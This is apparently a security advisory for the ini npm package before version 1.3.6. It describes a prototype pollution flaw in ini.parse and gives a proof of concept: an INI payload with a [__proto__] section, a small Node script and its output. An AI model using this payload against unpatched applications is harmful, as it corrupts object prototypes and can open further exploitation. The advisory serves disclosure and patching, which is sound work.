ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse

Overview

The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6.

Steps to reproduce

payload.ini

[__proto__]
polluted = "polluted"

poc.js:

var fs = require('fs')
var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)

> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted